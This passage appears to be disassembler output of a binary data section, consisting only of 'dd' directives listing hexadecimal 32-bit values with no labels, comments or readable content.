		dd 78D17CD3h, 4A41C2D2h, 2446B6C7h, 91B1FE4Ah, 0C0DEF462h
		dd 0D6363072h, 0CA0E9BCBh, 0A5114Bh, 56E518D0h,	0FD770040h
		dd 1373A97Eh, 4E0C0617h, 41327C52h, 948D005Bh, 2AB378CBh
		dd 0C00058BEh, 7EE77B60h, 494BFA31h, 5183019h, 823581CEh
		dd 27001878h, 5861A9C1h, 0E9697CBh, 0FE9B47D6h,	6CB01109h
		dd 0D9C71413h, 1BC05CACh, 538025D8h, 5A3FC4B9h,	9101908Ah
		dd 0C042619Ch, 2D83917h, 74C5BDABh, 6B13C1D2h, 78945F8h
		dd 6E2C947Bh, 0A45F50B6h, 0BC489DFEh, 0A056005Ch, 86705269h
		dd 0A1A917B5h, 0B98C309Fh, 0FCA8CD33h, 7938F2A4h, 9A3600FDh
		dd 480252C2h, 0B8C00532h, 5F33C6h, 0D447414h, 4029A3Dh
		dd 47321E0Ah, 3F507A07h, 0BA80F923h, 153DE7C0h,	0C24E96FAh
		dd 0D8041C35h, 75002322h, 9AE342DBh, 9DB6A338h,	0B2091FDAh
		dd 44C0C452h, 0CC2662ECh, 0C904215Bh, 0A0877AAFh, 0A434B90h
		dd 0F7F31E76h, 8CA245C3h, 8C90C465h, 0E1002EDCh, 8801680Fh
		dd 0A33D36h, 0B07F01Dh,	0D8C8A78Eh, 124D5323h, 20101336h
		dd 0A278B9D4h, 485BAC00h, 0B089F787h, 0AF971401h, 5326AC49h
		dd 35F6241Ch, 5624C831h, 0FB63C0B1h, 16B5A121h,	230DEE0h
		dd 5108FEBBh, 0A8E6AFEAh, 0F967A832h, 78C475h, 7F9C29FBh
		dd 11D6B7FCh, 801AFA00h, 670F3902h, 77FB27B4h, 114A3410h
		dd 0CC4E695Ah, 0C1BFA09Bh, 0B98F0368h, 2D860014h, 8C4F8E06h
		dd 927CB300h, 9A417266h, 6A892C6Eh, 69AB0818h, 0CB0C594h
		dd 6179DF18h, 0A6F80390h, 0DDA95F93h, 78514E82h, 0D62D803Fh
		dd 5ABC8701h, 1327ECACh, 309488FEh, 0A7393688h,	90A70496h
		dd 0E406EDC0h, 0C094076Ah, 0D2809331h, 0DC400798h, 0A000694Fh
		dd 0ADDC9AB2h, 0D6B5FA48h, 3BBE0AA1h, 69E1C7A4h, 0C06A74B0h
		dd 6BF12289h, 4BCD3996h, 8C8FCBFCh, 2827E6E0h, 58545604h
		dd 485CC978h, 80F9DE88h, 53CF43DEh, 0ED641Ch, 0FDBCC73Bh
		dd 0FEDF1752h, 0D6612D61h, 0CEC069B7h, 0B26F00A1h, 2A14B90Eh
		dd 7CBB6DA0h, 0D2624824h, 0A7BA60FAh, 51B2023Bh, 0CA8AE5A5h
		dd 7CB168C0h, 0BC1EA90Fh, 0BB7B85B6h, 53247027h, 3EBE4F41h
		dd 0B5C6214h, 61FD2Fh, 0EE102A98h, 115C0C8Ch, 0A131DB52h
		dd 53CB7303h, 16DE50A2h, 32B42BF0h, 0EE1140BCh,	1DE98458h
		dd 4B9B20FFh, 2884BE30h, 6C344021h, 60FA08h, 0F28C3979h
		dd 1D5CB4E8h, 43282A01h, 4D853E04h, 0C0314CE3h,	0F5428400h
		dd 0A4540844h, 1C24C526h, 82B32B60h, 64058028h,	7203C096h
		dd 0FBAB36E4h, 0FF1CC9C4h, 74F8D0D1h, 7DE714DFh, 3EC490A9h
		dd 0DCB0C224h, 525BC52h, 0F248202Ah, 50938A2h, 2652AE81h
		dd 1E3CA0A4h, 4D08A1C0h
		dd 2A72594h, 8224E9DEh,	84B05075h, 4093811h, 808A6606h
		dd 294E702Dh, 0AC200414h, 0D8C6D934h, 0E93F2B84h, 3C4E4026h
		dd 0D085F42Fh, 72A2D995h, 90C48EECh, 7F802600h,	94B6047h
		dd 0D0D0657Dh, 4E1000B5h, 0D12F7FA4h, 84953B25h, 0B8E07480h
		dd 42A1024Ah, 3320400Ch, 280064C4h, 0B580FE74h,	483C9E3Ah
		dd 1600C4BAh, 3BDEB1Ch,	0C6595018h, 0C71387C4h,	94F2B955h
		dd 0E710E97Ah, 0E428BE63h, 9C3AE419h, 32A908F0h, 1C0469D8h
		dd 0CF4CCCEEh, 9ADEB1Eh, 0EECA12C9h, 0B8EC909Ch, 44204EC8h
		dd 0CD8F67Ch, 70A62AFh,	9AAD81BBh, 95E1327Bh, 0EB28B8ECh
		dd 1C7BCC02h, 0CAFFAE00h, 0CDBCCB85h, 3CA612D1h, 0B0D420EDh
		dd 7500C968h, 12BC5F39h, 0F0300F97h, 0DE902AF3h, 8B8750B0h
		dd 39AB03A3h, 9C7AFEE4h, 651BAA88h, 75DE8216h, 1CD808Ch
		dd 0B77DB6ACh, 62AB3928h, 3E7E1D28h, 0F4943F4Ah, 8DA3CDE0h
		dd 85982F21h, 7A062007h, 3D04BC94h, 0C01B155Eh,	52715AE5h
		dd 0F8315F24h, 0D329B340h, 0D95600A1h, 0D4C97757h, 0E8B46F5Ch
		dd 8A1D2B88h, 80A0307Ch, 18D06A8h, 0F001B009h, 3381428Bh
		dd 3431CCD2h, 0C4DEFCC9h, 0E9F2A0ECh, 48A7727h,	0BC7B0116h
		dd 3F0C9CC9h, 0A70FC7F6h, 0C2F2E0DFh, 8028CC10h, 1F660B50h
		dd 0BE130B83h, 0A865F1E2h, 191FBC80h, 0E90A12h,	77B7019Dh
		dd 112B85CDh, 69441995h, 5B7E7463h, 2F2C208Ah, 0AD09CFC2h
		dd 52B24673h, 84D4FE0h,	9880EDB0h, 0A8598B66h, 77790094h
		dd 0BAE832F9h, 4C02D51Bh, 537F1605h, 9BBEC0F2h,	0F58D023Dh
		dd 313AB1E7h, 960CEC40h, 11AE0201h, 15CC6EDCh, 3F0762F4h
		dd 4F0065B4h, 0C08B6C72h, 2E00FB8Dh, 0E83404CEh, 30DB1AB1h
		dd 148AF2Bh, 0B9000D30h, 0FEA840A9h, 0E99DB6h, 0CD569F94h
		dd 0DD5F20Eh, 0AE17D905h, 1C01FE3Ah, 4A3EE407h,	0DDF83831h
		dd 0E5BF07B9h, 302CD787h, 0C1D93EEh, 0BB2B670Fh, 0B0A5C190h
		dd 808039F8h, 9CA2913Ah, 0EE007A7Bh, 12FC24A4h,	0F8888DC1h
		dd 55150321h, 73D5A033h, 49F13Ah, 99524102h, 1F40D6h, 0D0468C33h
		dd 0DBCC8A4Fh, 164E2A0Ch, 1434A9B0h, 0A8FB3DDEh, 8C55218h
		dd 5001B2B1h, 6F5EBD22h, 4CFCBEE2h, 2D6FAE9h, 0EDCACF85h
		dd 0B8820B41h, 0FC039FD4h, 937C9A08h, 0D2B7D8A4h, 43E400B4h
		dd 0FDC38CE5h, 880ACD17h, 0B094528Ah, 0AD069380h, 2EA3AEDCh
		dd 81BB6Dh, 0B3016CD3h,	1B0A0A3Ah, 4C534837h, 0C4E4A601h
		dd 0AACCFC56h, 3DD79E9h, 0EEDE3AA5h, 0E198EDF8h, 0F20613C1h
		dd 2ABAF762h, 22D92A39h, 716D00A8h, 0F8AA850Bh,	0F3B8E4D3h
		dd 0B4707400h, 3710A966h, 307B49ABh, 0CD7972h, 2C5208BBh
		dd 4474768Eh, 1817B324h, 7978F861h, 1EE3180h, 5F975962h
		dd 0DBCB5C00h, 64FAC36Dh, 32CA39B8h, 0FDDE6107h, 93EFB0A3h
		dd 8F28224Dh, 643C743Bh, 0AD49A84Bh, 0F8066202h, 48A39C75h
		dd 81AF2E68h, 49E4E4EBh, 5A7F030Bh, 0A2FB808Fh,	0DDB48Ah
		dd 0C932D754h, 0AD42821h, 590015F8h, 0FAB0B131h, 180E5AAh
		dd 2361EF89h, 83C69C72h, 0B83890B8h, 8688F050h,	9810096h
		dd 7DEA395Fh, 1F065605h, 0AE1352A3h, 0D5F30280h, 0A501CBBCh
		dd 33094846h, 24F84E92h, 0D1402824h, 0C4375305h, 47D9A309h
		dd 0B86C0009h, 5608176Dh, 0FB03F46Eh, 0FFE2B1AAh, 9B2CF810h
		dd 8FD98800h, 0A034AD2Dh, 940BC309h, 76581429h,	0C9A40051h
		dd 3F6C9589h, 0DA0056B4h, 0CA108AEh, 3C0620h, 0AF67D780h
		dd 0B12AF0A5h, 15108E4Dh, 2464ADBFh, 0ED47DCF5h, 0F1E86D70h
		dd 599F00F4h, 22714AD8h, 7501FBACh, 8B015614h, 498096F5h
		dd 742CFC0Ch, 0FD004EC9h, 7A02FE62h, 0F8E45D95h, 5BE0EFh
		dd 1E925553h, 0A3904FD1h, 4C35D524h, 0CB80EA9Dh, 30893182h
		dd 8DA8097Fh, 341075E3h, 50E2038Fh, 9A592E00h, 0F0148240h
		dd 6D373204h, 0C7204748h, 3C46929h, 74D383AFh, 77985AF9h
		dd 0D752A934h, 386E109Ch, 0D4966900h, 9F091071h, 161F9304h
		dd 2CC81E99h, 18C34C8Eh, 0C4A92D10h, 944FC69Ah,	0DCE40410h
		dd 71C006DAh, 578733h, 8531DFA2h, 222E9AD5h, 4D8A8C00h
		dd 3C36DC7Ch, 0E8370338h, 98B87FD4h, 9A51B800h,	884B1D7Ah
		dd 0F01A151Eh, 2C00AC54h, 0FBB5D930h, 951C6A12h, 324093A4h
		dd 581ADBF0h, 109148D1h, 0FCFDC087h, 0FF004B39h, 0D8A550A7h
		dd 0B80C5ACAh, 0A80E188Fh, 0DEE820AAh, 96BB4301h, 0F9C5FD58h
		dd 139FBC20h, 0A3BA3AFh, 85983A04h, 0C0AC6085h,	18A6BBB7h
		dd 0F3290975h, 80BD94D4h, 6A06EB41h, 12E204B1h,	2024612h
		dd 42AB5A68h, 63F8C48h,	0DA07CB77h, 4B6DB3AFh, 0C32D7AA3h
		dd 5251C774h, 70634841h, 78AB3800h, 81C191CAh, 4FAC9700h
		dd 75F30165h, 90A64868h, 0C01543Ch, 46FD6118h, 63B03011h
		dd 0A1425200h, 7229EDE0h, 8CC9C325h, 10B006DFh,	0CD00D914h
		dd 0CC073C50h, 90D8C670h, 482C2E4Dh, 54A500C1h,	0AA8B42Bh
		dd 0DD589672h, 1AC8048h, 3BE4F2C3h, 6501496Dh, 0DC5CA799h
		dd 9C9C2425h, 0E37D7000h, 3F8A8B3h, 812D00ABh, 0BA80D9EBh
		dd 0F904787Ah, 0F3E865FFh, 26AF6088h, 85304FC7h, 8880F829h
		dd 0DE5658C0h, 57B400B4h, 3A8FEE90h, 5ABD0444h,	8282DAE8h
		dd 0D4218A34h, 0B180D07Eh, 134B7151h, 20017012h, 0A8F858DCh
		dd 208A3101h, 419C6A82h, 80436661h, 3A96D860h, 0D7F2D5h
		dd 2EE4375Eh, 0D2A80C1Ah, 24103E01h, 0AE0EE3F6h, 0E960D0CFh
		dd 1CBA50C7h, 124B054Eh, 0EC876DCh, 18787D9Ch, 0CB06C2FDh
		dd 89DFD64Ah, 2ED90010h, 0CF4971E3h, 0FB3E60B4h, 48C3F916h
		dd 75D903C3h, 0B9A00038h, 0ADB1B01Fh, 0A2799950h, 7502E20Fh
		dd 43DA406Bh, 1FAA541Dh, 3C8DDCFh, 0E2AE4253h, 0FB589103h
		dd 69257h, 3D8D3150h, 48165F73h, 91AF500h, 21DAF023h, 99D86072h
		dd 9E19B19Dh, 6AC5840Ah, 0A200AC4Ah, 0FC1A49E6h, 8940197h
		dd 0E4AB26CBh, 0C2A99DC6h, 0EB042040h, 20FFAA8h, 0A9188AC4h
		dd 0E78FF341h, 86D0740h, 5A073A23h, 0ED3CD3BDh,	30F39C80h
		dd 37DB3BE2h, 205B9050h, 0F118398Ah, 4760FC08h,	46F800BCh
		dd 45E1952Fh, 9300DC5Dh, 2DC4DB01h, 0E1CE5h, 60D09D6h
		dd 0FFBC1E3Ah, 8BE6205h, 90604045h, 0B004F5DAh,	0FF792806h
		dd 58F00030h, 0F694207Ah, 0A0343C2h, 56C3758Bh,	0FF6EF05Eh
		dd 7C9650E8h, 73C70122h, 60DBAB89h, 3EC40C5h, 780034F8h
		dd 0CC159210h, 90DDCD3Ah, 0DA5A2A1Ch, 980900ACh, 7370E690h
		dd 32009C03h, 8540EC46h, 0FB0A50h, 0B61F25F6h, 26C28DFDh
		dd 0DBCDE100h, 0E3B2581Ch, 0E8E5E9F3h, 4639EC40h, 58D5615Fh
		dd 85384272h, 76B0F060h, 0FDF7DC1h, 1DCC3761h, 0F47F291Bh
		dd 0B0FE1560h, 1F17479h, 48F2E66Dh, 0DCE8567Bh,	2109E5DAh
		dd 18100E8Bh, 668E2364h, 0D19F71D7h, 1DAA9500h,	320CD4C4h
		dd 281FEE13h, 0C0F939BEh, 0DE944661h, 0E800BF59h, 0A0A838F8h
		dd 569154Bh, 0DA579EDBh, 6FD844F2h, 3DC13865h, 0FD85E0E7h
		dd 0C036D4DEh, 7C99F4F2h, 87A87100h, 0AF374691h, 0DA03309Ch
		dd 3D60E118h, 1943000h,	1A7ED938h, 5C6200E4h, 44E8BEE6h
		dd 0B500B2F2h, 5477F637h, 73C73DBh, 243BCE2Dh, 8DDFF369h
		dd 15F44807h, 6320C3F0h, 0D49FCh, 0C0AE3786h, 7C3E2B77h
		dd 703D1C0Fh, 7B461D9Ch, 389AB6h, 5093017h, 6850C237h
		dd 1F6C2D17h, 1380F600h, 3E2FC4Dh, 84952B1Bh, 2280C2BFh
		dd 5200C397h, 7BE5F834h, 12160207h, 52B0487h, 0C0FA894Ah
		dd 96603265h, 28ADC700h, 0AB0780B8h, 289FE9B1h,	54E80D8h
		dd 0B417277Eh, 0C200D670h, 0AD106698h, 69264AEh, 86722B39h
		dd 0DB016832h, 58FA241Dh, 509C165Bh, 0BD1A41C5h, 0FC3D77BFh
		dd 4D3AEA2Eh, 0FB5A81F6h, 99470F64h, 0C02B05C0h, 0B33CF730h
		dd 0DA0166FDh, 162C35CBh, 2AE957A7h, 1042092h, 0D94C9738h
		dd 0BD1080BBh, 2E297441h, 0DCC000FBh, 0D80C432Bh, 0D9005CCCh
		dd 8213BA01h, 7F37ACh, 4469FAFDh, 0E89A2734h, 79182130h
		dd 9036CBD2h, 5B4C0098h, 0E5F4BB55h, 512A7176h,	0CF0088B4h
		dd 0C685B5D8h, 79D508F6h, 0C2153A8Dh, 61ED7E80h, 33282E2h
		dd 2ADE418h, 747C59h, 0F6D09C28h, 83B7CEE5h, 39CBB9C0h
		dd 0F2B220Fh, 9D5029A7h, 8D8E48A0h, 5E30F397h, 992B510Dh
		dd 11E920FCh, 8426612Ah, 3B5BD500h, 0B4A7BF83h,	0EBB63B4Fh
		dd 0E0FEE880h, 9008F471h, 8D939A03h, 0FB82A1D0h, 18387DBAh
		dd 0A007353Ah, 1761F1CFh, 0FDAB3351h, 30D72FE4h, 0BC198D58h
		dd 8A003765h, 27F86BEh,	5A2689Eh, 4BF344FAh, 67B983CBh
		dd 801861A9h, 8ADDAC49h, 0A1F9E86h, 0D1E1480Bh,	1EF4C190h
		dd 60818234h, 0FA97471h, 780FF81Fh, 8F8E9206h, 69DB8B60h
		dd 2802CE8Ch, 0F89BED56h, 612C495Ah, 0DD010022h, 473332C7h
		dd 572FD42Bh, 0D10FBC00h, 9DB6F616h, 77FA07CEh,	2B9827h
		dd 9FE583DDh, 90F253h, 7FCC463Ch, 18DF11FAh, 907BE184h
		dd 0C5F06E77h, 0D1584A00h, 5FA1D659h, 707856h, 26AFD8A9h
		dd 3445177Eh, 0FC7F0609h, 289C2647h, 0D76C8010h, 0FF8658B4h
		dd 21806528h, 0ED003564h, 0A0A59ED9h, 78160792h, 0C7823EA6h
		dd 0CEDAD141h, 0E90FDF2Dh, 9774A9h, 0F6896F90h,	60380E5Ch
		dd 4F499D2Bh, 98D31C04h, 0AB3C50ECh, 946A82D8h,	4617909Bh
		dd 305824D4h, 4D368050h, 0E723ACBEh, 5488FE90h,	0E201E9CBh
		dd 81BFC847h, 7EF01142h, 58418F4h, 869FD846h, 0F9C31900h
		dd 179BE09Eh, 94510FC9h, 0A7C0FF8Dh, 548C38B2h,	2A22BC90h
		dd 0E0BE2A6Eh, 3B3A3DB0h, 0F16AEC80h, 0D23688FEh, 0DC8CAA03h
		dd 80F7A79Bh, 6084E571h, 8A5A31E7h, 14001A81h, 1B582AD4h
		dd 0C3CCC63h, 0FF12257Dh, 0F4130760h, 28421455h, 0A0E55E60h
		dd 396867A0h, 29FC01A3h, 0A93C101Fh, 0F024C009h, 9F986049h
		dd 27F1A042h, 46BE03B8h, 5EC4F112h, 0C2A93B0Fh,	0D5BA8A3Dh
		dd 1FFD0B60h, 99980505h, 0AC4632F3h, 3F79D161h,	6D1CC5CAh
		dd 0E59DC0B4h, 6ECE6AACh, 20930E79h, 80B79304h,	9D21CF02h
		dd 2BEC490h, 94FD81C0h,	261B8DD0h, 28C4C93h, 679D4164h
		dd 0CEDB1C68h, 798C2F31h, 51847FF4h, 0D83964B8h, 0EC986A6Ch
		dd 0F906A6F0h, 71A9E828h, 980715B9h, 9913B8D2h,	57CC20F8h
		dd 92E2633Ch, 4C988D38h, 0E758070h, 88B569h, 5F70A789h
		dd 0F1D8F8CDh, 35D6B100h, 431640A0h, 5D480031h,	0EB05275Bh
		dd 4D005829h, 0CD5CD8F2h, 4BC139E9h, 50C3803Fh,	18C09F6Ch
		dd 0B538E55Bh, 0E64E00CAh, 65DACB64h, 0E00666Bh, 794C9FC1h
		dd 0C0EA6Ah, 9B71FFF0h,	24465038h, 0E5FA914h, 3A3A3B30h
		dd 0DD36097Dh, 6980F56Ah, 0B3A0378Ch, 0F1D7E10Bh, 89BE0015h
		dd 18A8274Dh, 0C96A71E5h, 3A1FA235h, 19825FBBh,	0C17D6677h
		dd 9EC8121h, 3CB03D25h,	5A84650Ah, 36C1180h, 8C9BFA38h
		dd 0DA83A8C2h, 29C929F3h, 6A5D9D5Ch, 0D7FA0798h, 0B07C6637h
		dd 0DA2F39E6h, 0F0335400h, 0BC26CDDh, 0F9852012h, 1EDFA41Fh
		dd 7F7E340h, 0E28F9C90h, 0FC322CECh, 0A7380050h, 168E6ADAh
		dd 605BB931h, 99805E71h, 6976ADE8h, 6852EB47h, 0D9E60CDCh
		dd 28506174h, 9C93A6h, 0A41B901Ch, 0EEDA7A08h, 545A8500h
		dd 0D90F4DC9h, 0B8E50CC1h, 0E9396B13h, 9B9F0900h, 1C9964B3h
		dd 0F1210505h, 47CA50EFh, 0D0154FE8h, 68E18890h, 5710EB01h
		dd 0A5D907F4h, 96BDCCh,	0E5116C5Eh, 663F7A21h, 0E6AC6154h
		dd 695BDE30h, 3F1513A0h, 4D0071B6h, 0A1923C1Eh,	820CE6DCh
		dd 29262856h, 0AE00148h, 0C7A4A031h, 0AE80505Dh, 0ECF2F4D7h
		dd 0BF4C2770h, 7DA20CEBh, 0F05F2167h, 0D7D30599h, 309695E2h
		dd 1402A5A8h, 5E051491h, 94409730h, 32AA1D98h, 1AB87209h
		dd 18915A87h, 0D8A65760h, 0BA1282C0h, 26084C98h, 9249E37h
		dd 830E626h, 0F0018DCEh, 408F6B88h, 9080A928h, 34A4185Ch
		dd 0DCFAA2C1h, 471B8C0Ah, 6D804C95h, 0DD50408Ah, 28434919h
		dd 84ECE714h, 0DF418E83h, 0DE0C917Eh, 38BD9597h, 87990107h
		dd 8349C237h, 12CC20D7h, 5B79F860h, 34D809Ch, 7A613DBDh
		dd 929976CAh, 7D29DC48h, 0ECC75F2Ah, 625AB00h, 143C907Ch
		dd 0A9D30134h, 74C29D29h, 0C61520DAh, 5D033E14h, 2C38838Ch
		dd 0ABEE3B5h, 7B8B544Ch, 85F908F8h, 0A3AD4401h,	0F770B2D0h
		dd 8450907Eh, 3A8E3A88h, 97404960h, 0FE000DFFh,	7EF513A6h
		dd 87A926h, 18377F4Dh, 0B43E403Bh, 70DCAC00h, 5F7B8A1Ah
		dd 9DB9C1BFh, 0F0712F46h, 0DA02592Ah, 0F1908DF6h, 400866F0h
		dd 1898B874h, 0DF221302h, 48E15D85h, 0D57128h, 2C178761h
		dd 0E44CF410h, 20DF3A00h, 0B2EEDCABh, 47240042h, 0DA9AF702h
		dd 48760107h, 9FEDAE01h, 94A6BCB5h, 39224080h, 68A8E4A1h
		dd 0D435DC00h, 79C76365h, 2321C36Eh, 62A315D9h,	48DA1FC0h
		dd 0EE34BF17h, 0E0208E1Bh, 0F8FB77h, 5E822725h,	0DB4601BCh
		dd 0D5280700h, 92C51657h, 785D00CBh, 946E10F5h,	0E1312B25h
		dd 0EEA4150h, 3FE56180h, 29A7082Ah, 0F76A0C00h,	6B59E0A0h
		dd 9FBB0F49h, 0CC80920Bh, 95D9C881h, 5248257Ch,	8E8F0139h
		dd 2C5CF2B5h, 0C3A9B980h, 0B60FD107h, 540EBB00h, 7818103Fh
		dd 0AD343A09h, 7A740073h, 87F8F3A9h, 8E2A6835h,	2B14AC96h
		dd 10507DA5h, 4E0325B3h, 169663F0h, 76AFB2C0h, 0F74D8E00h
		dd 60442DEAh, 86300024h, 0E5ACB6BEh, 0DB24AA6Eh, 47009A17h
		dd 58DD4FC4h, 0AB3F1C2Eh, 6CBA47ADh, 1F9D70F8h,	0E6003433h
		dd 8E6F5DEFh, 0D6B2257h, 28533C32h, 1B88FC31h, 0C00A8F0h
		dd 0DC5AAABFh, 9A2EFEh,	99734203h, 0F32F6E98h, 0ACC15E00h
		dd 0C96402ECh, 0B2460362h, 80E03290h, 226D00D7h, 6F0C8CA4h
		dd 0E41BADAFh, 6886E9E2h, 7033DAA6h, 0A90127F8h, 0C2D423Dh
		dd 3CDB8DA4h, 25035F19h, 8B845CB9h, 0DAEDFDC0h,	466D2606h
		dd 1DB15376h, 37C522BBh, 0D2A77059h, 9A00320Ch,	0F2480F10h
		dd 0C0A6945Eh, 4FBE9D21h, 42FC5116h, 414EB71Eh,	72CE8040h
		dd 181DB65Ch, 51ACA22Ch, 992878A4h, 461978CCh, 73790627h
		dd 22E0A1E1h, 0DBCD0096h, 30D35FE9h, 6C249B01h,	17034521h
		dd 0E37DBD41h, 801AAAA6h, 6EB1466Ch, 21760022h,	9F8D32BAh
		dd 0DCA14E1Fh, 9852100Bh, 3AB203E0h, 553046A4h,	0A95A190Dh
		dd 5EF0A1DDh, 0D419C018h, 0FFC1D8B0h, 30F6C3Bh,	2C465D29h
		dd 16212819h, 0DFA92270h, 8CE1942Ah, 8D273100h,	0BA25D388h
		dd 48A2EE34h, 60182C22h, 5753B913h, 2B07CDE4h, 7819105Ch
		dd 6273D750h, 0C7E704DFh, 98B828C8h, 97031E00h,	3EF26BA7h
		dd 41890054h, 3D941525h, 0CF0175CEh, 38B46CE0h,	1EC4D74h
		dd 7EE20073h, 0AAAC7AA1h, 3C72640Ah, 99FB6000h,	7950A78Ch
		dd 69490568h, 80DBC518h, 0FB30882Eh, 1958CE01h,	0D9689523h
		dd 7C31C6F0h, 726100B9h, 0F14D8212h, 0DE06CB46h, 8F220B4Eh
		dd 0DB770029h, 33BF7A0Ch
		dd 0C9000970h, 3C5D623Dh, 4036B19Bh, 9100106Ah,	0E9E17E64h
		dd 8FC922h, 3C3420C8h, 23EC4D4Ah, 506C4030h, 678141h, 0F8C8D00Bh
		dd 589EC710h, 115C8600h, 0C35760B1h, 382CA193h,	38BC5BEDh
		dd 7A47327Ch, 80984819h, 0F00568Ch, 0B7FC4CC6h,	0DF2D55F9h
		dd 0FBF600A0h, 0C4498BD8h, 0FC61230Eh, 9389209Eh, 3038792Bh
		dd 9951848Ah, 7B0262EDh, 0F94C45C9h, 9F88A49Bh,	31600324h
		dd 0B1F82174h, 2A3AA241h, 824F8097h, 0A037BC5Ah, 0D2B00Eh
		dd 0B4A0363h, 0C4DA7690h, 0B468C0C2h, 85DC207Dh, 874CC205h
		dd 80EA019Dh, 31483883h, 9F2F4850h, 0E7B03Dh, 245E52Dh
		dd 0BB943E34h, 7723B415h, 0F9CB00D0h, 9C647ADFh, 5490013h
		dd 92624658h, 0A00094F3h, 506A87B1h, 308BD24Ah,	7039986Fh
		dd 0BA00F042h, 0C2853DACh, 915D89BBh, 0E74A9424h, 0E7A7F06h
		dd 263DC1E0h, 0C0D70018h, 3FFB3C01h, 6EF4068Ch,	596323FCh
		dd 53CEB70Eh, 800340EAh, 2F751Ah, 0B9DAB8F1h, 73AF84E8h
		dd 4A2B9600h, 0FA03FC50h, 4C04020Dh, 8392C33Ch,	882280A4h
		dd 3AF88E54h, 323B5602h, 0B044E4A7h, 20F5E8B0h,	4900DBC2h
		dd 0AA4D2758h, 174F3Dh,	1DE0EDADh, 6EA285E3h, 28CC0E03h
		dd 0ADADD77h, 3D24A4D1h, 824C80ECh, 451FFB0Ch, 93BB113Dh
		dd 0E7033F94h, 0C0B3BE40h, 97DCF0Ah, 0B8A15A5Bh, 86653419h
		dd 0DD4277D0h, 0B7C61159h, 0DC6F7C48h, 0FB9484A1h, 505FF280h
		dd 6C6E49F5h, 8A74831Eh, 0FCE3CBh, 517A3D1Eh, 0C902E0C5h
		dd 1CA63558h, 0BC4610h,	27A3A403h, 77426FDAh, 610DF430h
		dd 0A85F0F9h, 679B0465h, 49B48A58h, 6300BEACh, 0EBACEE8Bh
		dd 0D402A188h, 5B46DD4Bh, 0D1A8804Eh, 90FBF96Dh, 5444019Ch
		dd 8CC35AF2h, 0AC41807Ch, 0FB918974h, 0C94064C1h, 4E1A4075h
		dd 982A9A6h, 4F81CF4Bh,	0C47D3C0Eh, 5063FBC6h, 4912C0D8h
		dd 0C0D62274h, 0B07E9838h, 9700A2EFh, 0E4FAA36Dh, 944D438h
		dd 3BA7D86Ch, 0DFD21B80h, 8632A6F5h, 2082D85Ah,	0FA3A4226h
		dd 9DC2300h, 89452B95h,	4A7707E4h, 4063B1E9h, 92A0D98Fh
		dd 3C90F9F8h, 22015922h, 0BA90478Dh, 4550C890h,	3118CE9Ch
		dd 0C3E17113h, 1F84A491h, 0DD614D99h, 525A40F7h, 0D4C3469Ah
		dd 98A1297Ch, 9DFA1050h, 5CA23963h, 0C8533CCCh,	0CC4C8E3Ch
		dd 0CF1C9D01h, 8339F59Ah, 8395A069h, 1FDCE890h,	0A6CE00A2h
		dd 51F394C4h, 0E9281BD6h, 0E60E30B3h, 0CD2CE4A8h, 8026D847h
		dd 5E0E1112h, 1E3FC50Ch, 67A8C0C0h, 0B824C4F9h,	640B06Dh
		dd 98E50B47h, 0F5991874h, 3EA1895Dh, 430032F0h,	4112BAA6h
		dd 0C0830B1h, 0ED313F66h, 96246A41h, 93C050F9h,	27AA3A1h
		dd 76FED789h, 3510DFDDh, 55E9006Dh, 891C8833h, 8CAE47DEh
		dd 48464512h, 0F6384821h, 111B1822h, 3F84913h, 0A70EDF02h
		dd 0FFED7836h, 2A87D14h, 0B2E20794h, 1F90A038h,	36DDA49h
		dd 80C3D1A8h, 0CDC860CCh, 0F0984A58h, 8EE23B20h, 9A3605FCh
		dd 8846C31Fh, 0EA037438h, 0F59B6F81h, 32F93F38h, 0E169BA00h
		dd 9FB2D857h, 2F5CEC07h, 0C6E01C5Fh, 3F7E8890h,	3458D2F5h
		dd 0DD9AD880h, 0BD09C209h, 309F7CD6h, 99BA4D4h,	7E243328h
		dd 0E5D7C083h, 0C57C4095h, 180AA522h, 0AF7223F4h, 0E0AC54B0h
		dd 15F0DE45h, 0B2521AF6h, 0DC6C585Dh, 0A3959300h, 2B823B4Eh
		dd 0D16F60F5h, 0AD5C0A13h, 22FCBA79h, 40D839h, 916E8D15h
		dd 265BEB85h, 0C42C66F1h, 159D4037h, 0B0E9A230h, 262048Bh
		dd 98CAD3E5h, 949A6448h, 580BE922h, 0EC80F4B4h,	0B83C4915h
		dd 5641CC00h, 92DF7F87h, 34A14CFBh, 0A6805A88h,	80D74576h
		dd 1AD2001Dh, 0E69AF978h, 2322EF26h, 0AA270091h, 0EE4EAEF2h
		dd 88099EF4h, 384BC7Fh,	243DDCD0h, 43FC8908h, 9A374D2h
		dd 31656004h, 0E0C23A7Ah, 0ED288022h, 9DBCE719h, 0CC828077h
		dd 0C09553E6h, 0CE04F938h, 1D1E597Ah, 6906B48Ch, 84B15C11h
		dd 15B09034h, 0A07B372Ah, 48008322h, 0B893D084h, 580497FBh
		dd 4C80D423h, 1091F4B5h, 0A4288105h, 12BEEEAAh,	9988006Bh
		dd 694B3377h, 8780A75Ch, 1682CA8h, 90DDD959h, 0C5FAC458h
		dd 80688848h, 49734D72h, 0DFA0A8D3h, 0AC0B0A3Dh, 44846E9Ch
		dd 908A0A60h, 0D6A74483h, 6040E575h, 55FA046Dh,	90B8BA78h
		dd 67F00268h, 6C3A23F7h, 60C3F100h, 68200A08h, 1DE2AEFh
		dd 6D95B32Eh, 125424D4h, 9C508468h, 5084753Ch, 5C38585Eh
		dd 0A40FE07Fh, 7D8AC626h, 73121D0Ch, 0CFE94C31h, 1879A93Bh
		dd 8C35D8Ch, 0A22F125Eh, 77E04266h, 0CCE5C643h,	0B5B79B00h
		dd 3E8A69Dh, 0FAF4CCF7h, 2900DF13h, 93BE2A77h, 3A666FCh
		dd 0A0E10E9Ch, 5819A823h, 5C78DC68h, 0C46FF410h, 4C1BAB00h
		dd 6D6722D2h, 0A6841229h, 0C60470D6h, 0C89B6E01h, 0F05FD30Ah
		dd 10F7380Bh, 985688B0h, 0F6A6039Ah, 0FC65D0E5h, 400EA9A0h
		dd 8A50C0A0h, 3998F317h, 0F421F840h, 7987EA57h,	0B6E1C0B1h
		dd 0E2CEAA24h, 22956000h, 1896A846h, 4C1E00C6h,	4E0C075Ch
		dd 6F58BD5Bh, 0C9CB0DF4h, 6460503Ch, 7C8AA78h, 94280FD4h
		dd 31809010h, 92C4161Ch, 159E8E01h, 0BE7EB83Dh,	664D73CCh
		dd 0D8AF5AF1h, 2DE1D105h, 80446B77h, 0C5665CEh,	0B46980D0h
		dd 27808894h, 793BAADEh, 23E0095h, 76FCA8CFh, 7C7E50B8h
